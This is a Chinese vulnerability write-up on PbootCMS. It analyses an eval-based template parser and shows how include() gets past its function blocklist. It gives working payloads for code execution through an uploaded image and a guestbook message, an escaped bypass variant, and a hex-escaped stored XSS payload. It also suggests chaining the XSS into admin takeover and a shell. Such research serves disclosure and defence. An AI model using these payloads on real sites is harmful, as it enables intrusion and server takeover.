标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-2498]   作者: hudie 发表于: [2019-10-25]

本文共 [424] 位读者顶过

前言

看完师傅分析的pbootcms1.2.1版本getshell文章,其主要讲述了前台代码执行,原笔者继续分析有了这篇文章

后台代码执行

[出自:jiwo.org]

下载最新版本cms,

apps/home/controller/ParserController.php中的parserIfLabel函数的实现代码如下


// 解析IF条件标签
    public function parserIfLabel($content)
{
        $pattern = '/\{pboot:if\(([^}^\$]+)\)\}([\s\S]*?)\{\/pboot:if\}/';
        $pattern2 = '/pboot:([0-9])+if/';
        if (preg_match_all($pattern, $content, $matches)) {
            $count = count($matches[0]);
            for ($i = 0; $i < $count; $i ++) {
                $flag = '';
                $out_html = '';
                $danger = false;

                $white_fun = array(
                    'date',
                    'in_array',
                    'explode',
                    'implode'
                );

                // 还原可能包含的保留内容,避免判断失效
                $matches[1][$i] = $this->restorePreLabel($matches[1][$i]);

                // 解码条件字符串
                $matches[1][$i] = decode_string($matches[1][$i]);

                // 带有函数的条件语句进行安全校验
                if (preg_match_all('/([\w]+)([\\\s]+)?\(/i', $matches[1][$i], $matches2)) {
                    foreach ($matches2[1] as $value) {
                        if ((function_exists($value) || preg_match('/^eval$/i', $value)) && ! in_array($value, $white_fun)) {
                            $danger = true;
                            break;
                        }
                    }
                }

                // 不允许从外部获取数据
                if (preg_match('/(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)/i', $matches[1][$i])) {
                    $danger = true;
                }

                // 如果有危险函数,则不解析该IF
                if ($danger) {
                    continue;
                }
                eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');


                if (preg_match('/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[2][$i], $matches2)) { // 判断是否存在else
                    switch ($flag) {
                        case 'if': // 条件为真
                            if (isset($matches2[1])) {
                                $out_html = $matches2[1];
                            }
                            break;
                        case 'else': // 条件为假
                            if (isset($matches2[2])) {
                                $out_html = $matches2[2];
                            }
                            break;
                    }
                } elseif ($flag == 'if') {
                    $out_html = $matches[2][$i];
                }

                // 无限极嵌套解析
                if (preg_match($pattern2, $out_html, $matches3)) {
                    $out_html = str_replace('pboot:' . $matches3[1] . 'if', 'pboot:if', $out_html);
                    $out_html = str_replace('{' . $matches3[1] . 'else}', '{else}', $out_html);
                    $out_html = $this->parserIfLabel($out_html);
                }

                // 执行替换
                $content = str_replace($matches[0][$i], $out_html, $content);
            }
        }
        return $content;
    }

可以看到在2467行对eval函数进行了过滤,此时想到可以利用include来包含图片执行代码。

1 php > var_dump(function_exists("include"));

2 bool(false)

可以看到include也是返回false。

上传图片。



这里的路径也可以看到。

接下来构造payload,


1 {pboot:if(include("./static/upload/image/20191013/1570972592462906.jpg"))}active{/pboot:if}


到网站首页留言处提交留言,然后到后台开启显示该留言,随后回到首页留言处刷新。


可以看到执行了代码



弯路


由于自己是在debug中调试代码的,所以在查看$matches数组的时候,就没有让他走完for循环,所以只看到了payload经过实体化的结果如图。(是很zz了.....)


然后就在尝试绕过。绕过的payload为。

{pboot:if(1\51include\50\42./static/upload/image/20191013/1570972592462906.jpg\42\51\73if\50true)}active{/pboot:if}

后面在看的时候才发现在第2462行对代码进行解码,解码函数如下

function decode_string($string)
{
    if (! $string)
        return $string;
    if (is_array($string)) { // 数组处理
        foreach ($string as $key => $value) {
            $string[$key] = decode_string($value);
        }
    } elseif (is_object($string)) { // 对象处理
        foreach ($string as $key => $value) {
            $string->$key = decode_string($value);
        }
    } else { // 字符串处理
        $string = stripcslashes($string);
        $string = htmlspecialchars_decode($string, ENT_QUOTES);
    }
    return $string;
}

该函数会进行一次

htmlspecialchars_decode解码,所以会直接把&quot;变为"。也就是在看这个解码函数的时候,发现了cms将留言从数据库取出的过程发现都会经过转码函数的处理。


存储XSS

在/PbootCMS2.0.2/core/function/handle.php中的decode_string函数下还有一个decode_slashes函数,代码如下

function decode_slashes($string)
{
    if (! $string)
        return $string;
    if (is_array($string)) { // 数组处理
        foreach ($string as $key => $value) {
            $string[$key] = decode_slashes($value);
        }
    } elseif (is_object($string)) { // 对象处理
        foreach ($string as $key => $value) {
            $string->$key = decode_slashes($value);
        }
    } else { // 字符串处理
        $string = stripcslashes($string);
    }
    return $string;
}

这里会用stripcslashes函数对字符串处理,该函数定义如下

该函数可以将字符串进行反转义,也就是可以把16进制转换为字符串。


跟踪该函数,可发现在此处调用


根据注释可以知道在内容输出处都会使用decode_slashes函数处理。

尝试xss,构造payload

1 x3cscript\x3ealert(\x221111111\x22)\x3b\x3c/script\x3e

将payload填入留言。

后台刷新页面可以看到,成功实现xss。


在没有后台的情况下,可以尝试利用xss获取后台管理员的身份,再配合上面的代码执行getshell。


评论

暂无
发表评论
 返回顶部 
热度(424)
 关注微信